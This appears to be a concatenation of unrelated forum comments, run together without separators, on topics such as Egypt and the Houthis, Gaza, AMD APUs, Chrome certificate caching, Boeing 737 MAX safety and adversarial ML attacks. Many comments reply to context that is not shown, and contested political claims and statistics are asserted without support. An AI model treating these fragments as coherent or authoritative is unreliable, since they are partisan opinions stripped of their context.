The Egyptian government is a dictatorship holding together a powder keg. The military coup of 2013 overthrew a Muslim Brotherhood government and was followed by the election of 2014 which produced the very believable and realistic result of 96% of the vote for Abdel Fattah al-Sisi (he was reëlected with 97% in 2018 and 90% in 2023). A military mobilization of Egypt would jeopardize the minimal existing political infrastructure in the country and, arguably, play into the hands of the Houthis themselves, who are no friends of regional stability.
Presumably most ships owners would look and discover that the US navy is the largest in the world and thus switch their flags to the US - they would then pay taxes to the US (and have to deal with a lot of other US laws that they don't now). Either that or they would pay a lot more insurance. Ships going to Europe might switch to either UK or France for flags (again paying respective taxes and laws) - both are reasonably powerful in their area, though not on US level. China's navy is up and coming and so may be worth looking at for a flag as well.

Note that the budget of the country in question is what is really being talked about, and not the entire GDP of the country. It is possible for the US navy to save money while costing the average US citizen money.
Why? I thought economic sanctions through the threats of armed action is fine, especially when it is to "sanction" a state that is killing thousands and thousands of civilians. I'm sure you don't think sanctioning states who are actively and openly wiping out civilians is bad?

Even russia isn't this blatant and open with its goals.

>On October 10th an Israeli official told a television station: “Gaza will eventually turn into a city of tents. There will be no buildings.” Daniel Hagari, an idf spokesperson, boasted that “hundreds of tons of bombs” had been dropped on Gaza. Then, he added: “the emphasis is on damage and not on accuracy.”

That sure sound like something that should attract sanctions and actual military force to prevent.
300euros for the 8700g, perfect for a mini-PC to play dota2 on my custom linux distro.

I would push the envelop for a dirt cheap motherboard, without network or audio chips, only many USB-C high-speed ports (and dongles for those). I guess the power supply or battery pack will be the most expensive component after the APU and before the RAM.

We are talking <500 euros serious gaming mini-PC.
Funny thing is that restaurant patronage has declined considerably in Canada in the past year or so. Even with many restaurants now operating at a loss (i.e. paying you to eat) to try and win back customers, they are failing to capture hearts and minds.

If people aren't eating at restaurants, it is almost certain they are getting their food at the grocery store instead. For all the mockery of Galen, it seems the marketing strategy has been unbelievably successful.

That's probably why he continued to cast himself even as the audience focus shifted to millennials and gen-z. Letting someone laughing at you for a few minutes is no big deal. Watching them love you when they show up at your store over and over makes it all worthwhile, I'm sure.

I went to a Guest lecture in ~96 on performance of supercomputing and applications to FEA, so basically matrix factoring.

In the time from the Cray 1 -> then, there were 6 orders of magnitude of hardware gains, and 6 orders of magnitude in software as well.
I would imagine that the first roll-out of this would be with the quantum computer division, as they already have experience with cryogenic cooling. This requires some major redesigns in chassis, encapsulation, boards, and manufacturing processes, so I would assume this would happen first in some esoteric HPC application before hitting POWER. Mainframes would most likely be the last ones - an unreliable fast mainframe is a worse value proposition than a reliable slow one.

This reminds me of the random polynomial time bound for the simplex algorithm; an algorithm that is, naively, exponential time[1].

I seem to vaguely remember — this is ~17 years ago, now — that it's possible to "characterize" the really bad edge-cases for simplex and work around them (the whole point of the paper).

> Chrome will try to match intermediate certificates with what it is seen since the browser has been started. This has the effect of meaning that a cold start of Chrome does not behave the same way as a Chrome that has been running for 4 hours.

Holy crap. I have definitely run into this in the past, but had no idea!

I was configuring a load balancer that served SSL certificates for customer domains which included a mix of wildcard, client-supplied and LetsEncrypt-obtained certificates, and was all dynamically configured based on a backend admin app.

I was getting wildly inconsistent behavior where I'd randomly get certificate validation errors, but then the problem would disappear while diagnosing it. The problem would often (but not always) re-occur on other systems or even on the same system days later, and disappear while diagnosing. I never isolated it to Chrome or the time-since-Chrome-was-restarted, but I do remember figuring out it only affected certificates using an intermediate root. There was a pool of load balancers and I remember us spending a lot of time comparing them but never finding any differences. The fix ended up being to always include the complete certificate chain for everything, so I am pretty confident this explains it.

This was several years ago, but maddening enough that reading this triggered my memory of it.
It also depends on if you actually need the optimal solution. Getting a solution in your time budget, even if not guaranteed to be optimal, can be appropriate for many problems.

> since you might buy a rare US gold coin that's actually truly made of gold and yet is still a counterfeit :(

That's fascinating! What a funny situation.

Is there actually any way to detect a counterfeit coin that is made of the right materials? It seems like all you've got to go on is the physical shape and relief. But that seems far easier to match perfectly than paper bills.

Is there at least any way to tell "old" counterfeits from modern ones?
> It's not a huge leap of faith to assume they mean the phone as in the thing covered in glass and fragile touchscreen.

Not all phones are fragile. Ones with bodies made out of glass or aluminium are, ones with "nice to glide your finger along" glass screens can be. But those "features" are found in expensive phones.

Cheap phones, with their plastic bodies, flexible touch screens and removable batteries that tend to leave the case on impact are remarkably robust. As in "riding bike at 30km / hour, phone leaps out of pocket smashes into concrete gutter, covers and battery fly this way and that and so you have to dodge traffic to retrieve them" are perfectly fine after the incident, after reassembly. In fact on of my phones survived multiple rounds of that treatment.

Cheap phones being robust and expensive ones being delicate is a bug bear of mine. The one caveat is cheap phones are never water proof.

Cheap or expensive, I've never see the phones electronics damaged by an impact.

The last one -- a young man's 1 in 1000 lifetime chance of getting breast cancer -- is actually quite curious: it's not that much lower than his chance of getting testicular cancer, which apparently has an approximately 1 in 250 lifetime chance (I assume in the US). [1]

And apparently a man is about equally likely to die from breast cancer as he is from testicular cancer: both have a lifetime chance of about 1 in 5000.

You flip the coin, catch it, then present it on the back of your other hand.

With a bit of training you can feel the coin with your thumb when catching it to make sure you present the desired side. If you do it quickly enough people won't see you do it. The trick requires coins that have sides that feel distinctive.

Because software dev work is certified and doctors/nurses are allowed to do whatever they want - starting with patient abuse and ending with drug and alcohol abuse.

Right now tons of public activity is monitored already but almost in all cases it's to catch customer abuse and never for business abuse. Monitoring everything 100% will become one of the greatest equalisers. Only people rejecting this are people in abusive power.

"Idle chat" is important for safety.

- They need to work well together, and the better rapport they have with each other the better they're likely to perform in an actual incident. Regular interaction on the job is a part of that.

- They work a job that is often remarkably boring for much of the time. Drowsiness setting in is a real concern - a degree of social interaction is good at both keeping people engaged, and at helping them gauge how alert the other crew members are.
This is so accurate it hurts.
Just because there are two hypotheses doesn't mean that we should assign them equal probability. Why should we believe that we will need to modify the laws of physics to explain consciousness when they already do a remarkably good job of predicting and explaining everything else we know about chemistry and biology? If someone has an alternative theory of consciousness that goes beyond the standard model of particle physics, the burden of proof is on them to produce the equations that explain how this new substance or force interacts with the known fields of the standard model. Of course we should never put 0 probability on anything, but I know where I would put my money given the empirical track record of our current theories.
In this case, to be fair, it's not "share your genetic data with your friends", exactly.

Given that these are plug-style doors even if these were bolts in the hinges it would not risk the integrity of the fuselage seal.
These parts could also be interesting for NAS and other home server setups if the monolithic die leads to better idle power usage and they haven't lost ECC support. Unfortunately getting verified ECC support in AM5 seems to be quite difficult. In AM4 it was easy but ECC on APUs was only enabled on the PRO parts which were only sold to OEMs.
Green screen of death indeed.
Had them on 4800h laptop regularly. Laptop worked fine on Windows. AMD already dropped support for vega igpu so I guess these will never work in Linux. May be RDNA drivers is better because Valve using them in Steam Deck. Still AMD can break it at any release as they did many times.
> what would be easier than (1) tap Share, tap (2) Add to Home Screen?

In what universe does "adding to home screen" have anything to do with sharing? It's completely nonsensical.

As others have noted, it would be trivially simple for browser makers to explicitly have something in the address bar or a pop-up that allows users to install.
Especially for an article about... PWAs. It's so weird to be this worked up about this, like sure maybe they suck but that's not the point of the article. It's like getting mad at someone for writing a c++ article because it's not a memory safe language... like... okay!
Not the op but I don't think it's a request, it's semantics. You are calling wiki something that is really not a wiki, because wikis are editable.
Pilots aren’t stupid. You have created a disincentive to declare an emergency and added to the crew workload in an emergency. Human systems are complicated.
If its that simple then why is Apple blocking the most useful features like push notifications and add to home screen? Those aren't particularly useful for tracking.
You underestimate how important the Palestinian cause is to the Yemeni people. I’d wager they’d be willing to “pause” the infighting for quite some time.

I have to say I am not a big fan of the 737. At this point, the A320 family feels more comfortable and quieter than the MAXes I've flown in.

I also have a bitter disappointment with a MAX, where I ordered a window seat that ended next to a deactivated door, with a cover panel with no window at all (at least the plug of death has a window).
Soothing to read this while waiting to taxi aboard a different 737 model flown by United!
I think we already record the git-equivalent of pilot data: telemetry from the plane (the inputs, the actions) are already logged.

If ‘directly responsible for lives’ is the rationale for voice recording pilots in the course of their jobs, and not developers, since developers are not directly responsible, but indirectly responsible, can we also expand the list of professions to include always recording police, firemen, and all medical professionals all the time.

I suspect making sure that surgeons know that anything they say during the course of their job, can and will be held against them in a court of law, will not serve to improve the quality of the work they do.

I'm not happy with either side in this conflict and have not been for decades. I will not agree that any civilian death is better or worse than another. I refuse to use body counts at all in comparisons.

When Hamas places their military infrastructure in/under hospitals and schools I place the blame for civilian deaths near those places on Hamas. That does not excuse the other civilian deaths that Israel has needlessly caused though.
the theory I’ve heard says that’s extremely unlikely. The US only has ~80 destroyers most of which are protecting their super carriers. They don’t want to police the worlds oceans anymore.

Maybe the plugs aren't flanged enough? If the walls are mostly flat you could see the bolts being load-bearing.
then you should be concerned that your airline of choice (delta) has already paid for and taken delivery of dozens of over 100 737 max's.

They made this purchase years after the initial 737 max issues, and ofc years of issues Post MD merger. They also are putting about 30 percent of the seats as premium/high cost seating. for some reason.

Delta and especially boeing do not have your safety at heart, they have the bottom line at heart and will put you in whatever is most cost effective.

Some comments / notes:

> Adversarial attacks
> earliest mention of this attack is from [the Goodfellow] paper back in 2013

Bit of a common misconception this. There were existing attacks, especially against linear SVMs etc. Goodfellow did discover it for NNs independently and that helped make the field popular. But security folks had already been doing a bunch of this work anyway. See Biggio/Barreno papers above.

> One of the popular attack as described in this paper is the Fast Gradient Sign Method(FGSM).

It irks me that FGSM is so popular... it's a cheap and nasty attack that does nothing to really test the security of a victim system beyond a quick initial check.

> Gradient based attacks are white-box attacks(you need the model weights, architecture, etc) which rely on gradient signals to work.

Technically, there are "gray box" attacks where you combine a model extraction attack (get some estimated weights) and then do a white box test time evasion attack (adversarial example) using the estimated gradients. See Biggio.

Which, if a company has a policy of recording all work communications, sounds a bit like you're bypassing the monitoring systems in place.

Mind you, that is how people mostly work anyway. Even if I generally trust an employer to not be intrusively monitoring my communications, for anything sensitive I'm ideally going to talk in person or failing that, at least go with a personal cell call.

Another interesting factor is that Russia and Yemen are on good terms. For example, all this time Russian ships are not under threat from Yemen.

Recently Russian media began communicating their expectations for Houthis to specifically attack British ships, after Ukraine used Storm Shadows to destroy a Russian ship loaded with Iranian drones which was docked in Crimea.

Back in 2006, I knew a lot of people who used to call any webpage with a potential product a startup. There was one group I was associated with who did a biweekly "8hour startup" day. The idea was you'd come together for the day, form groups of 2-4 people and work on getting a finished website where you could sell something. Think a game jam equivalent for web devs/PMs. Was kind of fun. I did it once, though usually I was working on other things when these events were going on, and could rarely commit to the length of the events.
